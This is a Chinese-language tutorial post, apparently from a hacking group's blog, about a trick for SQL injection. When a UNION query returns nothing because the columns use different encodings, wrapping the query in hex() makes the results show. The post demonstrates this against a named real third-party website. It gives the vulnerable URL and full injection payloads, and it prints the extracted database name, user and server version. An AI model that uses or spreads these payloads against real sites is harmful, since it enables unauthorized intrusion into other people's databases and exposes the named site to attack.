作者:YoCo Smart 來自:習科信息技術 Silic Group http://blackbap.org 注入的時候往往能碰到這樣一種情況:有顯示位,但是無法顯示內容,甚至連database()都無法顯示。今天找到一個絕好的例子來講這樣的一種情況。 注入點:http://www.tkfd.or.jp/research/theme/index.php?id=1 導致這種情況出現的原因是當union聯合起兩個字段的時候,字段之間的編碼不同,導致執行失敗而無法顯示。解決這種問題的方法很簡單,就是用hex()來解決。 根據猜解,這個注入點的字段數爲7,這樣的話,我們就構造注入語句如下: http://www.tkfd.or.jp/research/theme/index.php?id=1+and+1=2+union+select+1,2,3,4,5,6,7/* 雖然有7個字段,但是並不是7個字段都有顯示,只有6號位置能顯示內容。如圖: 首先測試一下,看一下數據庫名稱: http://www.tkfd.or.jp/research/theme/index.php?id=1+and+1=2+union+select+1,2,3,4,5,database(),7/* 但是系統顯示執行失敗了: 既然顯示位能顯示6但是卻不能顯示database()那說明問題八成是出在字段編碼格式上面。 很簡單的解決方法,使用hex()將原本要查詢的內容括起來再執行就可以了,然後將得到的東西格式手動轉換一下格式。 這樣最後的查詢語句就是: http://www.tkfd.or.jp/research/theme/index.php?id=1+and+1=2+union+select+1,2,3,4,5,hex(concat(database(),0x5f5f,user(),0x5f5f,version())),7/* 得到的回顯如下: 73716C5F64625F66752E6D79382E73756974652E6A70406463362E65746975732E6A705F342E312E31322D6C6F67 格式轉換一下就是: [email protected]__4.1.12-log 注*前面查詢語句裏的0x5f就是最終回顯裏的兩個下劃線“__” 很容易就得到如下信息, 當前數據庫名稱爲:ql_db 當前數據庫用戶:[email protected] 數據庫版本:4.1.12-log |
[實例] 簡單搞定聯合查詢注入字段間編碼不同無法顯示內容問題
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.